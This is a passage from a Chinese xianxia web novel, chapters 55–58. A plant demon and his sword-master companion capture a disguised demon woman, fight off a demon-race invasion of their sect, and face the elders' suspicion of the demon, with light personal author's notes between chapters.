“您说了算。” 燕黎舟站起身,伸了个懒腰,骨头节咔吧作响。 伸手,燕黎舟手指很长,勉强在洛不觉手腕上最纤细的地方环了一圈。 他掌心有点凉,力道不重,甚至看上去只是漫不经心地一个动作,但却多了点亲昵。 洛不觉身形一顿,也是没动。 燕黎舟碰上对方有些凉的手也是一愣,立刻松了几分力道,依旧是虚虚圈着,指尖似有若无地搭着对方的手腕。 他掀起眼皮:“昨晚没睡好,总听见有什么东西在笑话我。” “万一要是真的打起来了,你救救我,我可以在旁边给你敲敲鼓看热闹。” 燕黎舟一脸“我就靠你了”的疲懒模样,淡淡道:“别离我太远。” 说着燕黎舟手上又松了几分,直接挂不住手腕,直直地垂下去,却被对方接了个正着—— 作者有话说:今天想去买点卤货吃一吃,但老天想要我减肥,雨一直在下——小雨,但电动车一拧油门就好像打开了什么机关一样,全世界的雨滴都在朝着我的脸哒哒哒! 无奈放弃。 问小姨(是的,我妈)小姨夫(是的,我爸)去哪了。 “钓鱼去了,晚上运气好的话煮鱼吃。” …… 运气不太好。 他钓到了! 我一向对我爸做除了放辣椒以外的菜感兴趣,所以吃饭时他们的三催四请,我全都糊弄过去了。 想着只是一晚上。 可是等到有点晚了,我有些困,但是今天还没有码字,肚子也在抗议。 好吧,下楼! 冰箱里只有芹菜炒芹菜和鱼—— 芹菜对于本人就像是花椒一样的存在,咬完第一口就绝对不会犯傻去嚼第二下。 小时候每每有芹菜炒肉的时候我都会只吃肉,我妈让我不要挑食,我就疑惑,除了肉也没有能吃的了啊? 好吧,现在长大了。 所以我总说自己不饿,我妈总想让我多吃肉,于是来不及催吃芹菜了,以至于到现在也不知道我挑食(哈哈哈哈哈) 不知道是不是好久没吃鱼了,我竟然觉得——这鱼没白死! 只是(嚼嚼嚼)刺——(嚼嚼嚼)有点多! 晚安! 第55章 糖饼在燕黎舟怀里不安地动了动, 黑溜溜的眼睛好奇地在两个沉默的人之间转来转去。 “啧。” 燕黎舟忽然轻笑一声。 他手腕轻轻一动,从洛不觉掌心滑开,抱起糖饼, 转身往屋里走, 边走边懒洋洋地摆手。 “困死了, 我再补个觉, 吃饭不用叫我。” 洛不觉走在青石板铺就的山路上。 沿途多是其他宗门练剑的弟子, 见到他都恭敬地行礼,目光却忍不住好奇地瞟向他身边那个一脸没睡醒的陌生青年。 燕黎舟对投来的目光浑不在意, 他同意打量这些个名门正派。 燕黎舟凑近了点洛不觉, 压低声音。 “洛大仙长,有醒酒汤的吗?” 他揉了揉太阳穴,“我这脑袋里好像有群小人在敲锣打鼓。” 洛不觉目不斜视:“修真之人, 当清心寡欲,忌纵酒贪杯。” “唉,好好好,我知道的。” 燕黎舟夸张地叹了口气, 他在期待什么, 一个做饭都好像盐都不放的宗门, 会有人熬醒酒汤? 燕黎舟忽然眼睛一亮,他指着前方不远处一棵藏的隐蔽,上面挂满红彤彤果子的树。 “陆乐水的小红?都长这么多了。” 此刻的小红有杏子那么大个,把枝头都给压下去好大个弧度。 “火炎柿, 蕴含火灵,性烈,未筑基者食之易灼伤经脉。” 洛不觉解释道,语气平淡得像在背书。 “哦……” 燕黎舟拖长了调子, 一脸“我就问问”的表情,却在洛不觉转回头去的瞬间,手指微不可查地一弹。 一颗最饱满的火炎柿晃了晃,精准地掉进他手心。 他得意地弯起嘴角,像只偷腥成功的猫。 这小动作自以为隐蔽,却不知走在前面的洛不觉,唇角几不可察地动了一下。 “所以说你要带我去哪?” 燕黎舟欲盖拟彰地问。 “下山。” “下山?” 燕黎舟眼睛顿时亮了,那点残存的睡意和装出来的头疼瞬间抛到九霄云外。 他三两步赶上洛不觉,与他并肩而行,脚步都轻快了许多,几乎要凑到洛不觉肩头。 “还是洛大仙长懂我!这清汤寡水的伙食,再吃下去我嘴里真要淡出鸟来了。” “山下那家百味斋,来只烧鹅?醉仙鸡?东街那家的羊肉锅子也可以。” 燕黎舟絮絮叨叨,掰着手指头数,一副饕客的模样。 俨然已经把云京的美食全都摸了个遍。 “可以。” “那就百味斋!” 燕黎舟立刻眉飞色舞,“他家的醉仙鸡可是一绝,配上陈年花雕……呃。” 他瞥见洛不觉瞥过来的眼神,立刻改口:“配上他们特制的酸梅汤,解腻!” 车水马龙,人声鼎沸,各种小吃的香气混杂在一起扑面而来。 燕黎舟如鱼得水,东张西望,看到糖人摊子要停一下。 洛不觉看着他那副恨不得长出八只眼睛的样子,放缓了脚步。 燕黎舟在一个卖糖人的老伯摊前挪不动步了,眼睛盯着那亮晶晶的糖人放光。 “喜欢?” 洛不觉语气没什么起伏。 燕黎舟理直气壮:“给糖饼买的!它还没见过这个呢!” 洛不觉没拆穿他,看着燕黎舟兴致勃勃地挑了个造型最复杂的凤凰糖人,美其名曰“糖饼喜欢威风的”。 然后十分自然地看向洛不觉,求救似的眨了眨眼睛。 洛不觉面无表情地付了钱。 拿到手还没有一秒,燕黎舟盯着手里的糖人。 “天气热,要是带回宗就化了。” 此刻是秋天,果子都熟透了,再过不久也该下雪了。 “我先吃了吧。”说罢燕黎舟就一口咬上去,甜味在嘴里化开,燕黎舟眯了眯眼睛。 “不好吃。”他小声点评。 全是糖味,没有半点添加剂,燕黎舟面露难色。 “我觉得这个它还能坚持一下。” 燕黎舟将糖人重新包装放进储物袋,“糖饼有口福了。” 这边燕黎舟煞有介事地跟摊主讨价还价了一番,买了一大包热乎乎的栗子。 栗子被拿着在秋水剑上面蹭了一下,确定不烫了燕黎舟这才剥了个丢嘴里。 神色骄傲地走在前面。 洛不觉跟在他身后半步的距离,看着他这副对世俗烟火气十足热衷的模样。 与他妖怪的身份格格不入,却又奇异地和谐。 洛不觉依旧沉默,但周身那股生人勿近的冷硬气息,在这喧闹的市井中似乎也软化了些许。 有行人匆匆迎面撞来,洛不觉总会提前一步,用身体或衣袖不着痕迹地替燕黎舟挡开,动作自然流畅,仿佛已成习惯。 百味斋是云京城里有名的酒楼,装修雅致,客似云来。 小二一看洛不觉这身衣服,热情地上来将他们引到二楼一个临窗的清净位置,既能俯瞰街景,又避开了大堂的过分喧闹。 “醉仙鸡、八宝烧鹅、清炖蟹粉狮子头、再加一个时令鲜蔬,一壶上好的……招牌的那个啥,快点上来哦!” 燕黎舟熟门熟路地点菜,说完才想起对面还坐着一位,又假惺惺地补充道,“洛大仙长,您要点啥?” 洛不觉看了他一眼,对等待的小二淡淡道:“加一碟杏仁豆腐,少糖。” “再来一壶茶。” “好嘞!”小二高声应着下去了。 燕黎舟挑眉,他正想调侃两句,目光却被楼下街角的一阵小骚动吸引。 几个看似地痞模样的人正围着一个卖菜的老农推推搡搡。 燕黎舟眼神微动,手指在桌上轻轻敲了敲,一缕近乎无形的灵力悄无声息地滑下楼梯,飘向街角。 下一刻,那几个地痞突然像是脚底打滑一般,哎哟叫着摔作一团。 模样狼狈不堪,引得周围路人哄笑,老农也趁机赶紧挑起担子溜走了。 如此,燕黎舟这才满意地收回目光,端起茶杯抿了一口,深藏功与名。 这一切发生得极快,寻常人根本察觉不到。 坐在他对面的洛不觉,端着茶杯的手几不可察地顿了一下,抬眼看向燕黎舟。 燕黎舟正好也看过来,两人视线在空中相遇。 这人脸色比平日略显苍白,眼下的淡淡青黑,比平日任何时候看着都要疲惫,但脸上笑容依旧张扬。 燕黎舟眨了眨眼,一脸无辜:“怎么了?洛大仙长,我脸上有花?” “好看吗?” 修仙之人轻易不能和凡人产生因果。 但此刻洛不觉垂下眼帘,放下茶杯,没应声。 菜很快上齐,香气四溢。 燕黎舟立刻拿起筷子,先给洛不觉夹了个最大的狮子头。 “尝尝尝尝,是不是真的入口即化!” 洛不觉看着碗里那个硕大的肉圆,又看看燕黎舟亮晶晶的眼睛,沉默了一下,终究还是拿起筷子,夹了一小块送入口中。 动作斯文,咀嚼缓慢,看不出喜怒。 燕黎舟又拿起筷子,目标明确地直奔那色泽红亮的醉仙鸡。 他吃相不算文雅,却自带一股酣畅淋漓的劲头,让人看着就觉着食物分外香甜。 洛不觉伸手给自己倒了杯茶,然后就没有然后了。 他见燕黎舟只顾着吃肉,夹了一筷子清炒蔬菜,放到他碗里。 燕黎舟吃着鸡呢,看到碗里多出的青菜,动作一顿,抬头看向洛不觉,有些惊讶。 然后坏心思地又给洛不觉夹了块撕好的鸡肉。 洛不觉的动作彻底停住了,他看着那块肉,眉头微微蹙起。 抬头,目光落在燕黎舟随意敞开的领口,以及随着说话动作而微微滑动的喉结上。 那截露出的脖颈线条流畅,窗外照进来的光线干净,显得单薄脆弱,让人无端想起昨夜那惊险的一幕。 洛不觉握着杯子的手轻轻收拢了一下。 “嗯,这鸡不错,鸭子也可以,这青菜炒得有点老……” 燕黎舟点评者,正吃着呢,小二端着一个小盅走了进来。 低着头道:“两位客官,这是本店赠送的冰糖雪梨羹,润肺去燥的。” 这人声音有些细柔,走路姿势也略显轻飘。 燕黎舟正埋头苦干,没太在意。 洛不觉却端着茶杯的手微微一顿,目光瞬间锁定了这名“小二”。 就在“小二”将雪梨羹放在桌上,准备退出去的那一刻,洛不觉忽然开口。 声音冰冷:“站住。” 那“小二”身形一僵。 燕黎舟也察觉不对,叼着一块鸡肉抬起头。 洛不觉缓缓放下茶杯,整个雅间的温度似乎都下降了几分。 他盯着那“小二”。 “小二”猛地抬头,露出一张平凡无奇的脸,但那双眼睛里却瞬间闪过一丝狠毒。 这人轻笑一声,身形如鬼魅般向后急退,同时袖中射出数道乌光,直直冲向洛不觉和燕黎舟! “小心!” 燕黎舟下意识想动作,但洛不觉比他更快! 甚至没看到洛不觉是如何拔剑的,秋水剑后发先至,叮叮几声脆响,那几道乌光已被尽数斩落。 那些是几根淬了毒的针。 洛不觉不知何时挡在了燕黎舟桌前。 他并未追击,只是持剑而立,目光冷冷地看着那退到门口的伪装者。 那伪装者见偷袭不成,身份暴露,脸上闪过一丝狠厉,身形一晃,化作一缕红烟又要逃。 “哼。”洛不觉冷哼一声,手中长剑并未挥出,只是剑尖轻轻一点虚空。 嗡—— 一股无形的剑气场瞬间笼罩周围,那缕红烟仿佛撞上了一堵无形的墙壁,发出一声凄厉的惨叫,重新凝聚成人形,踉跄倒地。 对方脸色惨白,显然受了不轻的内伤。 “锁!” 洛不觉吐出一个字,燕黎舟手腕上的晋绳动了动,飞过去将那人捆得结结实实。 这一切发生在电光火石之间。 燕黎舟嘴里的鸡肉还没来嚼完,战斗已经结束了。 他眨了眨眼,看着洛不觉挺拔的背影,心中暗叹—— 作者有话说:噜啦啦啦啦啦啦噜啦啦啦啦啦! 全勤全勤! 放假放假! 有假期还有全勤!哈哈哈哈! 晚安! 第56章 洛不觉收起长剑, 转身看向燕黎舟,周身的气息微微缓和。 “没事吧?” 燕黎舟腮帮子动了动,把嘴里的鸡肉咽下去, 拍了拍胸口, 故作后怕地装模作样。 “吓死我了!还好有你在!” 他眼神瞟向地上被捆成粽子的魔女, 又拍了拍自己胸口。 洛不觉解决的速度快得好像刚才什么都没发生。 燕黎舟他撑着下巴, 眼睛亮晶晶地看着依旧一脸平静的洛不觉。 洛不觉执筷的手顿了顿, 夹起一筷子青菜,面无表情地放进燕黎舟碗里。 “吃饭。” “啧。”燕黎舟手里筷子戳了戳碗里的青菜。 “下次下山能不能提前打个招呼啊洛大仙长?” “我也好空着肚子来。” 洛不觉带着吃饱喝足的燕黎舟和被晋绳困成蛆的小二, 准备去找沈齐报备。 燕黎舟走着消食, 不得不说跟在洛大金手指身边就是安心。 洛不觉脚步未停,声音平淡:“饮食有度。” “嗯。”燕黎舟点头,觉得洛不觉说的有道理。 宗门议事堂。 沈齐依旧坐在正中央, 旁边慕容古没背着他的大刀,冷眼斜着旁边药老,两人一脸的不对付。 白石湖玩着他的扇子,肖信然和汲子石坐在他两边, 前者正襟危坐, 后者却是懒散地斜靠着椅背。 洛不觉的座位在最旁边, 他本就不喜欢管宗门的事情,又因为他是师兄弟里面最小的,座位排在旁边。 燕黎舟理所应当坐在他旁边。 下方周围一圈外门长老环坐着。 沈齐看了眼环胸抱着的燕黎舟,最终还是没说话, 目光转向殿中央的人。 在法阵的作用下,这人身上的魔气缓慢围绕在大殿里面,猩红的气息十分诡异。 “这就是昨天晚上的那个魔族吧?” 肖信然轻笑着,盯着这人。 最近因为陆家家主把自己徒儿拐走后, 他唯一的徒儿就没来过好好上课了,原本文化就不好,这回好了! 此刻刚好一肚子气没地方撒呢。 阵中央的人见事情已经暴露,魔气席卷上身,转眼间就又换了一副模样。 这人身着一身似纱非纱的红色长裙,皮肤白皙,一头乌黑的长发此刻并未束起,长到铺了一地。 最引人注意的是她的脸,标准的鹅蛋脸,挑不出一点瑕疵,眼睛含情,眼尾微微上扬,天然带着几分慵懒与魅惑,唇角也总是似笑非笑地上扬着。 燕黎舟安静地待在洛不觉旁边,没有一点表情。 之前还被这人给捆成鸡一样,差点就死了,如今实在是不能没有心情去欣赏这男主的后宫的容貌。 “沈齐掌门,我犯了什么天条,诸位要把我这样捆着?” 沃若往前倾了倾身子,轻眨眼睛,尽是无辜。 对于肖信然的话,她只是不在意地低头瞅着自己的保养地极好的手。 “魔族又怎么了?” “都是领居,我来串门玩一玩。” “又没伤害到你什么。” 说着,被捆着的双手举起来,眼泪说来就来,泪眼汪汪地指着燕黎舟:“他一个妖怪都可以住,我为什么不可以?” “哥哥们,你们来我家玩我都没有意见,我也只是想出来玩一玩嘛~” 这话一出,瞬间大殿安静了一瞬,不是因为她说的这些,众人的视线齐刷刷看向燕黎舟。 “妖怪?” 一个外门长老率先出声道,他就是那个林肆纯的师尊。 燕黎舟顿了一下,第一反应是抬头去看洛不觉的反应,但这人确实伸手,宽大的袖子挡在燕黎舟面前。 意思不言而喻。 燕黎舟轻笑一声,伸手指尖捏住洛不觉的一片衣角,指尖缓缓掐紧,心里忽的升起一股烦躁。 缓慢呼吸了好几下才将自己没由来的脾气压下去。 没人开口,这也就是证明了这魔族的话的真实性,几位外门长老皱眉询问。 “掌门!您知道吗?” “这可是妖怪,一个妖怪在我们宗门生活了这么久,谁能保证他不是别有所图!” “洛剑尊,您知道这人是妖,还纵容在宗门!” “这么大的事不该跟我们商量什么吗?” 外门长老的话瞬间激起了千层浪,原本大家都在关注着新抓到的魔族,此刻知道了一直有一个非他们族类的妖怪和他们生活在一起,瞬间所有目光都转移到燕黎舟身上。 沈齐几个没有开口,看着洛不觉。 他们也是那天晚上刚知道。 洛不觉目光冰冷地扫过众人:“这是我带回来的客人!” “洛剑尊这是想要威逼吗?这是云京,不是你的一言堂!” “没错!一个来历不明的妖怪怎可以留在这里!” “洛剑尊,您带他回来时可知道他的身份!” 置疑声和斥责声此起彼伏,几位不知道的长老目光几乎要刺穿燕黎舟。 沃若乐呵呵地看着好戏,虽然依旧被晋绳捆着,却好像和燕黎舟的身份来了个对调,甚至调整到一个舒服的位置侧卧躺地。 嘴角那抹似笑非笑地弧度加深,饶有兴趣地看着。 燕黎舟神色有些冷,他面前,洛不觉没有回头看他,也没有反驳。 “我知道。” 短短三个字,如同冰水进了油锅,大殿内安静了一瞬,又瞬间炸开。 “什么!洛剑尊你……” “你既知晓,为何又将他带回宗门?这不就是引狼入室!” 沈齐的眉头深深皱起,看向洛不觉,但是依旧没有开口。 洛不觉神色未变,面对众人的质问,他依旧站得笔直。 “燕黎舟虽是妖,但子那行纯良,我带他回来,必然愿意担保,为此承担所有后果。” “心性纯良?洛剑尊又如何知晓?” “妖怪最是狡诈,万一洛剑尊也没他骗了怎么办!” 燕黎舟嗤笑,这一声并没有压着声音,原本战火已经被集中到了洛不觉身上,此刻众人又齐齐看向燕黎舟。 燕黎舟慢悠悠地伸手拉住洛不觉的手,借力站起来,整个人暴露出来。 “你们说我如何如何,我就如何?” “所有就仅凭你们一开口,我就是来十恶不赦的恶人,若按此理,长老你应该是我第一个要杀掉鞭尸的。” “你!” 还有人想要开口,却被沈齐出声打断,他看着并肩而立的两人。 转头看向众人:“好了!洛师弟既然这样说,必然有他的道理。” “结果已是如此,再去追究没有意义!” 说完沈齐转头看向最中心的沃若,质问。 “你是怎么越过分界线过来的?” “嗯?”沃若转头,眉头轻蹙,思考着。 “要不要告诉你们呢……” 就在这时,突然一个弟子进来通报,打断了沃若的话。 “掌门,谢灯求见。” 男主? 洛不觉身后的燕黎舟扭头,视线看向那名通报的弟子。 男主过来干什么? 燕黎舟又看看沃若,就请已经崩成了这个样子,天道不会是想要来一出英雄救美吧。 沈齐皱眉疑惑谢灯这时候为什么会过来,原本还昏昏欲睡的汲子石一听到自己徒弟唰地一下坐起来。 “有什么事?”汲子石问。 “让他进来吧。”这是沈齐说的。 没一会儿谢灯就进来了,他看了一眼倒在地上柔弱无辜的沃若,漠不关心地行了个礼。 燕黎舟的目光转向谢灯身上,又不动声色地看向汲子石。 此刻的男主太多剧情都错过了,不知道现在实力怎么样。 “有什么事吗?” 谢灯抬头看向汲子石,语气严肃。 “师尊,分界线告破,魔族攻进来了。” 话音刚落,似是在证明他说的话并非作假,外面瞬间传来无数声爆炸声。 大殿内瞬间一片哗然。 众人此刻也顾不得讨伐燕黎舟,沈齐反应极快,率先起身,强大的威严气场瞬间笼罩全场。 声音沉肃:“各峰长老,立刻组织弟子迎敌!启动护山大阵!” “联系云京内的小宗门派,保证云京百姓没有收到惊扰。” “通知其他宗门的掌门家主,共同御敌!” 命令一下,大殿内众人立刻行动起来。 沈齐看向大殿中央的沃若,旁边谢灯注意到,余光瞥了那人一眼。 沈齐:“谢灯,你把这人带下去,关起来。” 谢灯没有意见,行礼:“是。” 慕容古和白石湖几个师兄弟率先冲出去查看状况,洛不觉转身看向燕黎舟。 “跟紧我。” 燕黎舟却是没什么情绪地推了他一把,勾唇:“你去吧,你是战斗力天花板,怎么可以不在场。” 洛不觉蹙了一下没,但也没有犹豫,深深地看了燕黎舟一眼。 “自己小心。” 话音未落,他转身朝着外面飞过去。 燕黎舟看着洛不觉的背影消失,嘴角勾起的那抹弧度缓缓落下。 他低头看了眼自己的手,此时大殿内也只剩下他,谢灯和那个沃若。 糖饼不知道从哪里出来的,飞到燕黎舟的肩头,跳着扑腾了两下。 沃若旁若无人般,目光落在燕黎舟身上,舔了舔红唇。 “……你是那天晚上中了我毒刺的那只草吧。” 燕黎舟抬头,看着沃若,对方轻笑,缓慢站起身,旁边的谢灯抽出自己的剑,直接横在她脖子上。 沃若丝毫不顾,身体里面的魔气溢出,鲜艳的红色缓缓变成黑色,沃若整个人也开始了翻天覆地的变化。 她挥了挥手,数道魔气朝着两个人攻击过去。 沃若瞬间扭动几下,被晋绳捆着双手的胳膊借机困住谢灯的脖颈,然后借着这人的剑割断了晋绳。 断开的晋绳只一瞬又恢复原状,围绕在燕黎舟身边,沃若几个闪身避开谢灯的攻击。 燕黎舟皱眉,手上无妄扇甩出去,在沃若周围转了一圈,不断趁着空隙攻击着。 等到扇子再次回到手中,手腕再转,扇面划过一条好看的弧度直直朝着沃若脖颈处。 沃若几个闪身避开,谢灯也在不断朝着她攻击,沃若袖子一甩,几根毒刺被甩出去,还是燕黎舟上前挡住。 “小哥哥现在好凶啊。” 沃若到现在依旧笑嘻嘻的。 话音未落,沃若身影消失,下一秒,整个身影出现在燕黎舟头顶,一双爪子直抓燕黎舟的天灵盖。 “小心!”谢灯提醒。 燕黎舟反应更快,手中折扇唰的一下合上,以扇代剑。 沃若脸色微变,被迫变抓为拍,掌心与扇尖相撞。 转身又飞快弯腰退到一旁,她轻笑一声,袖子里突然伸出来两条锁链,趁着燕黎舟不注意将谢灯和燕黎舟捆着一起。 沃若没有继续纠缠,手指点在唇上,轻轻地抛了个飞吻,转眼就消失了踪影。 谢灯脸色很冷,刚刚战斗时被甩出去的剑飞过来斩断了缠绕在他们身上的锁链。 对着燕黎舟道:“我去追,前辈,安全起见,您先去找洛师叔!”—— 作者有话说:啊啊啊啊啊,全勤我来啦! 哈哈哈哈哈哈哈! 全勤!全勤![星星眼] [撒花][撒花][撒花][撒花][撒花][撒花] 第57章 燕黎舟看着谢灯消失的方向, 眼神复杂。 现在的男主果然比起原书中真的太弱了。 此刻燕黎舟状态不是很好,脸色有点白,低头看了看自己微微颤抖的手, 扯了扯嘴角。 他刚刚竟然想要杀了那个魔女。 这念头出来的瞬间他自己也下了一大跳, 什么时候他也竟然能丝毫不顾及地可以升起这个念头了。 “啧。” 燕黎舟深吸一口气, 也紧随其后冲了出去。 还没抵达, 浓郁的血腥味和魔气已经将所有笼罩, 天空被黑压压的魔云侵占干净,往日的仙境云间此刻变成人间地狱。 原本青翠的山谷此时搞得满目疮痍, 满地都是碎裂的符箓和兵器。 魔族不断攻击着护山大阵, 不断的剧烈波动着,几个长老苦苦支撑着。 沈齐已经立在最高处的广场,主持着大局。 “守住阵位, 除魔卫道!” 阵眼核心处,几位外门长老浑身沾着血,拼命地朝着阵盘输送着灵力,他们周围, 不断有弟子在魔物的攻击下倒下。 洛不觉已经率先冲向最前方, 他不再保留, 冰冷的剑意冲天而起。 一人一剑,硬生生挡住了魔族主力的冲击。 卜听南剑势利落,和她师尊一样,一剑一个魔兽, 脸上的表情同样冰冷到极致。 另一边,慕容古手里的大刀缠绕着血红的灵气,如同一个人形凶兽冲入魔群。 巨刀挥舞着,不断斩下魔兽的头颅, 刀风席卷,将一大片魔物一同搅碎,气势狂放霸道。 陆乐水跟在他哥和陆家家主周围,想要冲出去却被他三叔一个眼神又瞪回去。 沃若就待在一群魔物正中间和旁边的一个浑身挂着紫色铃铛的女人说着什么,然后又悄悄退到后方,女人也不在意,面无表情地挥手指挥着一堆魔兽。 也是这个时候又突然出现一波魔兽冲上来。 燕黎舟拒绝到前面战场,他们在杀魔兽,魔兽也在杀人。 他就只充当一个辅助的角色,做做后勤。 燕黎舟他穿梭在战场后方,一些外门弟子正在往小阵眼里输入灵力,苦苦支撑。 燕黎舟手里只有一把无妄扇,没有其他像样的武器,偶尔捡起地上掉落的长剑或者是武器,虽然也是用几下就丢掉。 “是燕前辈!” 有弟子认出来,惊喜道。 燕黎舟来不及回应,他目光紧盯着洛不觉的身影。 洛不觉毫无疑问的厉害,但是魔族的数量实在是太多了,其中显然也藏着不少高手。 洛不觉虽然强,但一时竟也被缠的脱不开身。 其他人那边也同样被几个皮糙肉厚的巨型魔兽缠住。 战斗持续白热化。 护山大阵终于在一阵令人牙酸的碎裂声汇总,彻底崩溃。 “阵破了!” 弟子绝望的呼喊着,几个主事的当家人也皱眉看着碎裂掉的护山大阵。 陆季同身后直接将两个侄子护在身后,眉头皱得很近。 旁边拿着剑的云聊也眉头紧蹙,原本白净的衣裙上面沾染了不少魔族的血,但丝毫不顾。 挂着紫色铃铛的女人看准时机,指挥身后的魔物,无数魔物像是决堤的洪水,涌进天上白云京。 许多没有很强战斗力的外门弟子瞬间被魔物撕了个粉碎。 鲜血染红了青石板,残肢断臂随处可见。 场面惨烈到了极点。 燕黎舟也被卷到混战的中心,几只高级魔物朝他围拢过来。 他眼神一冷,脑海中却在此刻忽的不断响起令人厌烦的“嘻嘻”声。 “滚!” 燕黎舟咬牙,此刻他头疼的厉害,却还是坚持着躲避魔兽的攻击。 “嘻嘻!” 令人讨厌的声音响起,燕黎舟周围忽的出现一个灰色的影子在他身边飘来飘去。 “很讨厌嘻嘻吗,为什么?” “嘻嘻只是想吃你的坏梦。” 这坨好似灰雾凝聚的东西不断环绕在燕黎舟周围,“嘻嘻”个不停。 “小草,你想不起来什么吗?” 灰雾疑惑,不断地从燕黎舟手上蹿到背上,头上,还有其他地方。 “小心!” 一道熟悉的清冷声音响起,伴随着一道结冰的剑气,洛不觉沈还是那个原本洁白的衣袍,此刻竟然狼狈地添上了几道血痕。 他瞬移到燕黎舟身边,一剑就将那几只魔物斩了个粉碎。 但也因此被一个魔族的骨矛狠狠扫中。 洛不觉一个踉跄,脸色瞬间苍白了几分,唇角溢出一丝鲜血。 “洛不觉!” 燕黎舟震惊地瞪大眼睛,他下意识地扶住洛不觉的胳膊,掌心传来一片温热粘腻的触感。 是血! 洛不觉稳住身形,抹去嘴角的血迹:“没事。” 燕黎舟皱眉,心里难受得厉害。 他穿越而来,一直以局外人自居,只想着看戏和苟活。 可看着洛不觉挡在他面前的背影,眼眶瞬间红了,感受到那股异样的情绪他伸手摸了摸心口。 明明没有受伤,胸口却好像被什么东西剜去了一块。 燕黎舟周身开始微妙的变化,绿色的妖力控制不住地从指尖溢出来,带着磅礴的生机,同时又令人心怵。 他抬起手,对准了那片如潮水涌过来的魔族大军。 地面好似也随着颤了颤,无数跟粗壮的根须和藤蔓如同巨蛇一般,从裂开的地面疯狂涌出,冲在最前面的魔物刹不住撞上去,顷刻间就变成一团血雾。 即使没有撞上,也被那些看着柔软的植物缠绕住,缓缓勒紧,最终爆开。 这些藤蔓的攻击对象并不只是魔物,只要是在这周围的,全都无一例外地攻击。 这突如其来的变故,让魔族首领和仙门百家都愣住了。 离的近的几位张掌门家主纷纷躲避着这些藤蔓,这些对他们来说也和魔族一样的数量又多又难缠。 所幸它们不会再生,魔物的退去也让他们缓和了一些。 洛不觉看见的瞬间就转头看向燕黎舟,对方脸色苍白,身体微微摇晃,仿佛随时都会倒下去,原本饱满的粉色唇瓣此刻也有些发白。 显然刚刚对他的消耗很大。 燕黎舟抬头,和洛不觉对上视线,那双琥珀色的眼睛此刻微微湿润,嘴角扯出一个有些勉强的笑容。 “洛不觉……我好难受。” 魔族为首的紫色铃铛的女人深深地看了一眼燕黎舟,她却没有继续纠缠的意思,径直转身离开。 对于那些魔兽并没有要出手解救的想法,理她近的一些魔物也跟着慢悠悠地离开。 能行动的魔兽也跟着走,一些没有办法还在和仙门弟子战斗的魔兽却是逃跑不了。 头顶笼罩着的魔云这时缓缓散开。 几个见多识广的当家人眉头蹙得比刚刚和魔物战斗时还要紧。 他们看着洛不觉拉着的燕黎舟,又转头看看已经反应过来只会弟子清理剩余的魔物。 李家家主率先问道:“沈掌门,这事,你知道吗!” 沈齐轻叹一声,转头看向肖信然,后者朝他点点头,于是这才转头看着众人。 “此事请大家移步大殿。” 李家家主还想说点什么,但云聊往前一步向前挡住他的视线,他张了张嘴巴,还是没有说什么,哼了一声甩甩袖离开。 天上白云京主殿,此时气氛比先前魔族压镜是更加凝重压抑。 虽然已经经过了初步的清扫,但空气中个似乎仍然还有血腥残留的气息。 殿内的人或坐或立,大多身上都带着伤,衣衫染血,目光却全都齐刷刷地落在洛不觉身上,似乎是在透过他看向他身后的燕黎舟。 洛不觉站得笔直,在燕黎舟面前挡住四面八方的视线。 卜听南一脸冰冷站在两人身侧,环抱着胸。 沈齐端面色严肃,还带着些疲惫。 “分界线现在看来应该是已经沦陷了,其他的宗门我也已经传书,天上白云京是最靠近分界线的地方,感谢各位云京的家主此处出手。” 白石湖,慕容古和肖信然几个师兄弟站在他身侧,神色各异。 汲子石坐在下位,看着他身边的谢灯包扎伤口,沉默不语。 云聊陆季同等其他当家人全都在等着沈齐继续说。 见迟迟没有说到他们想要听的,李家家主终究是沉不住性子,率先发难。 “沈掌门,大家都生活在云京,你是不是应该跟我们说清楚?” “方才在战场之上,此子周身妖力环绕,能操控草木,绝非人族!那等不分敌我的手段更是危险!” “沈齐掌门难道是想要轻轻揭过吗?” “不错!”旁边一位身材魁梧的家族长老洪声道。 他声音很大,震得殿内都好似嗡嗡作响:“一个妖怪,在我们周围,沈掌门说出去不怕被唾沫给淹死吗!” “如此妖怪,应当严查!” “必须严加审问,弄清他的真是目的和身份,妖族和魔族同样生活在分界线外,说不定,这魔族就是他引过来的!” 讨伐的声音此起彼伏,大殿内,唯有云聊和陆季同没说话。 而在陆季同身边的陆乐水也是震惊地看着燕黎舟。 他怎么也不能想到,燕黎舟这厮居然会是个妖! 陆乐水转头的瞬间和司徒沃对上视线,他的扇子在刚刚转都中又破了,此刻正看着自己的扇子发呆。 陆乐水咬唇,自从他三叔来了之后,他就一直在被监督着,连司徒沃也很少说话。 他伸手扯了扯旁边他哥陆星华的袖子,让他帮自己挡住点,自己则是偷偷溜下去。 燕黎舟垂下眼眸,长长的睫毛在苍白的脸上投下淡淡地阴影。 他体内力量消耗过大,此刻依旧虚弱,听着周围那些言论,他只是扯了扯嘴角,露出一抹带着讽刺和疲惫的弧度,并没有出声反驳。 洛不觉向前一步,将燕黎舟更延时地挡在身后,他身姿挺拔,脸色也有些苍白,但看着比平常更添几分冰冷。 “我带人回来的,他如何品行我最清楚!” “燕黎舟从未做出任何伤害诸位之事,诸位又怎可乱言他的所有!” 洛不觉护人的意思非常坚决。 “燕黎舟是我带回来的,我清楚,我知道!” “诸位若是还想说什么非你族类的话大可不再重复。”—— 作者有话说:好困,大家晚安,今天给自己放松一天,这是最后一章存稿了[爆哭] 放假了放假了,国庆节快乐,这几天趁着放假多写一点,到时候假期结束也好有底气! 设置时间,0.30,准时发布[撒花][亲亲] 好困,大家晚安! 第58章 “洛剑尊, 你莫要被妖物蒙蔽了心智!”一个小宗门的长老跳出来,指着燕黎舟。 “谁知道他不是与魔族演的一出苦肉计!” “苦肉计?” 燕黎舟轻笑出声,他抬起眼, 琥珀色的眼睛扫过那位掌门。 “掌门是觉得, 我把自己弄成现在, 灵……妖力耗尽, 就是为了演一出戏。” “那我图什么呢?图诸位现在恨不得将我抽筋扒皮的模样?” 他扫过众人, 语气懒洋洋的,但字字戳心。 “那……你这是强词夺理!” 有人不满, 他们说不过洛不觉, 也不代表他现在就可以随便说话。 “是不是强词夺理,诸位心中自有判别。”燕黎舟不再看他,目光转向沈齐。 沈齐并没有开口, 旁边的云聊倒是深深地看了一眼燕黎舟。 “洛剑尊说的没错,方才要不是燕黎舟,缺口处的弟子恐怕十不存一,至少在那时, 他救了不少人。” “但同样害了也不少弟子, 若不是您和陆家主及时出手斩断那些藤蔓, 恐怕也有不少弟子同那些魔族一样的下场。” 云聊闻言沉默一瞬,旁边立马有人接上。 